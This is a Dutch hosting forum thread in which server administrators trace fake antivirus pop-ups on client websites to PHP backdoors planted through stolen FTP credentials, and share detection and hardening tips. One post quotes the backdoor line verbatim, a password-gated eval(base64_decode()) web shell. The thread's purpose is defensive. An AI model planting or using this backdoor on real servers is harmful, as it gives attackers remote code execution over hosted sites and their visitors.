Bekijk Volledige Versie : Internet AntiVirus Pro / Trojan / etc. op server?
Hi,
Ik heb een apache 2 + php5 webserver waar een aantal sites op lopen. Nu heb ik van een aantal klanten te horen gekregen dat wanneer ze hun eigen site openen ze een soort van windows-security-screen krijgen, waar als men op OK klikt internet antivirus pro gaat installeren.
Nu vraag ik me werkelijk af. Waar komt dit vandaan? Ik heb de hele sites af zitten zoeken of er wellicht ergens een iframe oid geinsert was in die site, maar ik kan werkelijk niets vinden. Toch zit het erop, want als ik met IE naar een paar sites ga, krijg ik af en toe (niet altijd) die melding ook.
Ik heb ook al apache na zitten zoeken of er ergens een config oid gewijzigd was, maar ik raak echt het spoor bijster. Weten jullie hier iets?
misschien dat ze zelf al geinfecteerd waren met shareware die popups spuugt ;)
Het kan zijn dat er ranzige zooi (code) via 1 van de php appjes geinjecteerd in de index van de desbetreffende website (kan ook een worm zijn wat ondertussen alle sites/indexen geinfecteerd heeft) en dat de bezoekers nu een virus geinstalleerd hebben i.p.v een virus scanner.
Wat staat er in die index pages, wat wordt er aangeroepen?
Wat staat er in je logs ?
/edit; optie van Mikey kan het ook nog zijn :)
Wees ook voorzichtig met Antivirus PRO, want dit is zelf een virus namelijk :)
Controleer ook even de versie van Proftpd
Ik heb geprobeerd vanaf een nieuw geinstalleerde laptop en daar kreeg ik die melding ook.
Heb alle index-en al nagelopen, maar kan serieus niets raars vinden...
ProFTPD Version 1.3.1
Ik draai debian:
Linux version 2.6.26-2-686 (Debian 2.6.26-17lenny1) (dannf@debian.org) (gcc version 4.1.3 20080704 (prerelease) (Debian 4.1.2-25)) #1 SMP Sun Jul 26 21:25:33 UTC 2009
Ik denk dat je een worm hebt..
scan even met avg-free
link: http://free.avg.com/download?prd=afl
Ook voor Debian.
Zijn er users bijgekomen of bruteforces op user passwds geweest ? (check ssh ook effe)
Wat staat er (vaak bovenaan) in de body van index.???
Vermoedelijk een iframe in de pagina.
Tip: update proftpd ook even. 1.3.1 schijnt een lek te hebben waardoor onverlaten simpel toegang kunnen krijgen tot de server. Misschien ook door dit veroorzaakt.
http://www.saintcorporation.com/cgi-bin/demo_tut.pl?tutorial_name=ProFTPD_vulnerabilities. html&fact_color=&tag=
Een klant van mij had recent een soortgelijk verschijnsel. In eerste instantie zocht hij "uiteraard" de oorzaak bij mij, maar het bleek dat de webdesigner die voor hem werkte een PC had die geïnfecteerd was met een worm/trojan die via de webdesigners' FTP-client alle sites waar hij aan gewerkt had de afgelopen tijd geïnfecteerd had. Helaas kwamen ze pas zó laat er achter, dat zelfs de backups van zijn site geen oplossing meer boden en de site door de webdesigner helemaal opnieuw aangemaakt moest worden.
Als je in de index.html/php niets kan vinden (geen iframe tags ed.) kun je ook eens kijken of die klanten --gezien het gedrag van de sties-- wellicht "tellertjes" op hun pagina's gebruiken die deze pop-ups genereren. Dat heb ik al zeer vaak gezien. En maar niet begrijpen dat ze dus dat gedrag, van de site, zelf veroorzaakt hebben :wacko:
Als de sites geïnfecteerd zijn, en je server ook, is de kans groot dat ze binnenkort ook als 'aanvalssite' worden gerapporteerd. Het is dus zaak om in elk geval snel en goed onderzoek te doen naar wat er aan de hand is.
Deze virussen zijn inmiddels beter geworden en nestelen zich in het begin via een FTP account, daar wordt aan een PHP bestand iets als volgt toegevoegd:
<?php /*fb15fb2bc492861480055dc512493c04*/if(isset($_POST["p"])&&$_POST["p"]=="291918b850f7554dd834d671a114abdf"){eval(base64_decode($_POST["c"]));exit;}/*fb15fb2bc492861480055dc512493c04*/ ?>
Nu wordt vaak ergens middein in de nacht dat script aangeroepen waarna er malafide PHP code wordt gestart die je Apache requests af vangt en hierna redirects (random!!) begint te doen. Zo ver ik weet alleen bij Internet Exploreren en niet bij FF. Tevens wordt er een Cookie geplaatst die bij houdt wie er al eens geredirect is en hem niet nogmaals redirect.
Waar herken je dit aan (niet alle symptomem komen altijd voor):
* Load van de machine komt rond de 10 te hangen
* Er draaien malafide processen
* Er draait een "httpd" proces erg lang
Zoek eens in je user files naar "base64_decode", dan zal je vast iets vinden.
Nu heb ik inmiddels wat vallen gezet voor dit virus en al wat van deze malafide code afgevangen, echter is me nog niet 100% duidelijk hoe ze te werk gaan.
Dit proces kan dus ALLE Apache requests afvangen, niet alleen van die website. Nu zal je zeggen: Hoe kan dat?
Dit komt door een al lang slepende discussie tussen Apache en PHP (sinds 2003!). Apache geeft aan alle modules (ook CGI!) zijn descriptors mee (zoals socket, logfiles, etc, etc), PHP hoort deze te cleanen voor gebruik te maken van oa shell_exec, system en andere proces-functies, maar dat gebeurd niet, hierdoor kan je vanuit PHP controle krijgen over diverse Apache functionaliteiten en dus ook requests af vangen.
Vorig jaar heb ik met een collega van mij dit al ontdekt (Exim bond soms aan poort 80), maar een patch hiervoor is lastig. We hebben er inmiddels een gevonden, maar het implementeren is lastiger dan gedacht.
Apache zegt dat PHP niet netjes opgeruimd en PHP zegt dat het vanuit Apache nooit door mag worden gegeven, dit wellus-nietus spelletje duurt nu al 6 jaar.
Ik vroeg me al af wanneer de eerste exploits zouden komen voor dit lek en die spelen nu dus op.
Wees gewaarschuwd! Wat tot op heden heb ik hier nog steeds geen fix/oplossing voor.
Zie ook: http://blog.unmaskparasites.com/2009/07/23/goscanpark-13-facts-about-malicious-server-wide-meta-redirects/
De meeste blogposts die je hier over vindt zijn allemaal van webmasters, die snappen er vaak weinig van. Maar de bron is dus één FTP account waar de gegevens van gestolen zijn, daarna kunnen er redirects op de gehele server plaats vinden.
Wido ik heb jou verhaal gelezen, ik wist ook dat dit bestond maar waarom het kon lees ik nu van jou.
Een jaar geleden heb ik dit ook gehad, iemand kon met de "gestolen" gegevens via FTP Apache gekke dingen laten doen.
Ik heb toen in die tijd weken lopen zoeken..
Wat er gebeurde was dat iemand met een gehackte FTP account een script plaatste en daarmee rare codes toevoegde aan Apache en daarna werd het script meteen weer verwijderd.
De oplossing was simpel toen ik het gevonden had, openbase dir en safemode aan op alle accounts.
Vanaf die tijd nooit geen problemen meer gehad.
safe_mode is natuurlijk niet echt klantvriendelijk en ook een symptoombestrijding, geen oplossing.
Het werkt wel, maar je maakt wel heel veel code van je klanten kapot met safe_mode aan.
Probleem heel herkenbaar. Dank je voor de uitleg Wido.
Op meerdere servers hier het probleem gehad:
Je merkt het aan iframes met redirects naar de raarste sites.
En ze komen binnen met ftp.
We hebben onze servers nu omgezet naar suphp, zodat je in ieder geval het bij één account tegelijk houdt.
Verder direct ftpgegevens van de klant gewijzigd (is niet zo leuk voor ze, maar waarschijnijk is hun eigen PC ook besmet). Met deze maatregelen is het een stuk minder erg geworden, maar.. niet te vroeg gejuicht, ze zijn slim die rakkers.
Vr.gr. Eef
Wachtwoorden wijzigen werkt niet echt, wat ik heb gemerkt is dat die virussen gewoon FTP gegevens sniffen en ze uit de opgeslagen wachtwoorden halen van de FTP clients.
Met suPHP kan je in ieder geval zien onder welk account het draait (Wij gebruiken mod_ruid), dat is een stuk makkelijker zoeken.
Wat je ook kan doen:
grep -R "eval(base64_decode" /home
Het bovenstaande is een ZWAAR commando, maar daarmee moet je eventuele botjes wel vinden.
safe_mode is natuurlijk niet echt klantvriendelijk en ook een symptoombestrijding, geen oplossing.
Het werkt wel, maar je maakt wel heel veel code van je klanten kapot met safe_mode aan.
Ik moest toch een keus maken toen, daarna ben ik overgestapt op SuPHP met voor elk account een eigen php.ini zodat alles flexibel aan te passen is.
Wachtwoorden wijzigen werkt niet echt, wat ik heb gemerkt is dat die virussen gewoon FTP gegevens sniffen en ze uit de opgeslagen wachtwoorden halen van de FTP clients.
Even voor mijn begrip: Die virussen draaien dus lokaal bij iemand die zulke FTP gegevens gebruikt? Dus daar moet in ieder geval ook wat gebeuren, anders heb je ze zo weer op de server zitten? Is dat correct?
Ik adviseer ik ieder geval om flink op virussen te scannen en Hitman Pro (of vergelijkbaar) er maar eens over te halen.
Maar vraag me nu af of dat wel een goed advies is.
Vr.gr. Eef
Ja, dat klopt, het virus draait lokaal en steelt/snift daar FTP gegevens. Als je daar niets aan doet komt het gewoon weer vrolijk terug.
Wat ik echter zie is dat de meeste geïnfecteerde scripts in April/Mei geplaatst zijn en nu pas actief worden. Ze zijn dus in die tijd geüpload, maar worden nu pas aangeroepen.
Ik moest toch een keus maken toen, daarna ben ik overgestapt op SuPHP met voor elk account een eigen php.ini zodat alles flexibel aan te passen is.
En toch komen ze daar ook nog vrolijk doorheen, althans, ik heb er 2 gehad.
2 verschillende accounts, maar wel van een zelfde gebruiker, die een bepaald web develop progje gebruikt voor zijn websites (Web To Date 2). Dit programma maakt zelf nummerieke submappen aan creeert zelf de links daar naar toe.
Ben dus oon nog aan het zoeken naar een link met dit progje, hoe deze via ftp gegevens achterlaat / vrijgeeft / whatever.
(evt. met een open router :s )
Ja, dat klopt, het virus draait lokaal en steelt/snift daar FTP gegevens. Als je daar niets aan doet komt het gewoon weer vrolijk terug.
Wat ik echter zie is dat de meeste geïnfecteerde scripts in April/Mei geplaatst zijn en nu pas actief worden. Ze zijn dus in die tijd geüpload, maar worden nu pas aangeroepen.
Duidelijk. Dat wordt nog een puzzle dus (zie ook reactie van Geert-Jan) om die dingen op te sporen. Ik hoor van mijn klanten nl dat virusscanners, Hitman Pro, etc. niets fouts kunnen vinden op de PC van de gebruiker, terwijl duidelijk is dat zij als enige gebruik maken van zo'n FTP account. Hoe vindt je de boosdoener??
Vr.gr. Eef
Duidelijk. Dat wordt nog een puzzle dus (zie ook reactie van Geert-Jan) om die dingen op te sporen. Ik hoor van mijn klanten nl dat virusscanners, Hitman Pro, etc. niets fouts kunnen vinden op de PC van de gebruiker, terwijl duidelijk is dat zij als enige gebruik maken van zo'n FTP account. Hoe vindt je de boosdoener??
Vr.gr. EefPas als je het botje ziet draaien of als je logins ziet vanaf rare IP's.
Zie ook: http://www.uptime.cz/100452-site-a-internet_Linux-Apache-Attack.html (staat veel info!)
Zoek anders maar eens op: beladen.net (het is namelijk een variant van die trojan)
ik heb dus op 1 v.d. sites met bovenstaand commando wat gevonden. Maar wat nu te doen? Gewoon die php wegmikken? Er staat bij 1 v.d. klanten in een images-dir een .php file met wat meuk van http://xoops.instant-zero.com/
marsipulami
17/08/09, 11:49
afhankelijk van wat je in je voorwaarden hebt staan even contact opnemen met de klant dat hij/zij dit oplost binnen afzienbare tijd. En anders zelf stappen ondernemen. toch?
ik heb dus op 1 v.d. sites met bovenstaand commando wat gevonden. Maar wat nu te doen? Gewoon die php wegmikken? Er staat bij 1 v.d. klanten in een images-dir een .php file met wat meuk van http://xoops.instant-zero.com/
Het beste kun je nu gaan zoeken in de log files wie dat bestand heeft geupload.
Je hebt nu immers een bestand gevonden, de rest is nu makkelijk te achterhalen.
Als je het bestand zomaar verwijderd en niets doet dan is het probleem daarmee niet opgelost.
Ik heb dus nog steeds 1 klant met het probleem. Ik heb de /home dir gescand op de base64_decode (lekker command wido :) ) waarin (gelukkig) helemaal niets gevonden.
Na contact met de klant krijg ik de volgende reactie terug van hem:
Mijn machine was inderdaad besmet en sinds dit weekend schoon...
Ik gebruik filezilla met opgeslagen ftp paswoords die ik nu dus
allemaal ga wijzigen zodat de Trojan die gedraait heeft en ftp
paswords van mij heeft er niks meer mee kan.
Mijn eerste advies was dus om die opgeslagen accounts en passwords er uit te gooien, maar dan nog blijven we met de vraag hoe we dit kunnen gaan voorkomen, zonder dat de klanten daarvoor veel hinder gaan ondervinden.
De IP adressen die voor acces zijn gebruikt komen overigens overal vandaan, een range blokken heeft geen nut...
ssh / scp (winscp) met ssh-keys ?
Is een tijdje terug meen ik (help mijn geheugen) in een ander topic ook een besproken. Technisch goed natuurlijk, maar voor iedere klant....????
Ter beeldvorming: met een suPHP, mod_ruid, wordt het initiele script als de gebruiker geladen - ik neem aan dat ze hier geen workaround voor hebben. Het is me even te laat om de code welke op de link die Wido gaf door te lezen, maar wat gebeurd erna?
Wat is het proces wat plaats vindt vanaf het laden van de pagina met het base64_decode verhaal? Misschien mis ik wat, maar ik vind veel nog erg onduidelijk. Ik kan me lastig voorstellen dat hier geen gemakkelijke oplossing voor is.